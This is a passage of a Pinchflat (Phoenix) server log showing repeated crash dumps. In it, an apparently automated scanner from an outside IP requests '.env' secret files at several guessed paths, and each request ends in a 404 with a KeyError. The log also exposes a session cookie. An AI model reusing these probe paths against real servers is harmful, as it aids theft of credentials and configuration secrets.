~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:11.934 [info] GET /var/www/html/.env 02:10:11.934 [debug] QUERY OK source="settings" db=0.2ms idle=347.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.934 [debug] QUERY OK source="settings" db=0.1ms idle=239.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.935 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.935 [error] #PID<0.3362.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 58) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /var/www/html/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/www/html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3362.0>, params: %{}, path_info: ["var", "www", "html", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/var/www/html/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Vdg454gUaQAAQ5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/www/html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/www/html/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo- (truncated) 02:10:12.051 [info] GET /current/.env 02:10:12.051 [debug] QUERY OK source="settings" db=0.2ms idle=245.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.052 [debug] QUERY OK source="settings" db=0.2ms idle=246.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.052 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.052 [error] #PID<0.3363.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 59) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /current/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3363.0>, params: %{}, path_info: ["current", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/current/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6V5YHL3T4b8AAQ6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:12.187 [info] GET /release/.env 02:10:12.188 [debug] QUERY OK source="settings" db=0.5ms idle=253.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.189 [debug] QUERY OK source="settings" db=0.2ms idle=253.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:12.189 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:12.189 [error] #PID<0.3364.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 60) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /release/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /release/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/release/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3364.0>, params: %{}, path_info: ["release", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/release/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6WZ3DuXlHGAAAQ7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/release/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /release/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/release/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 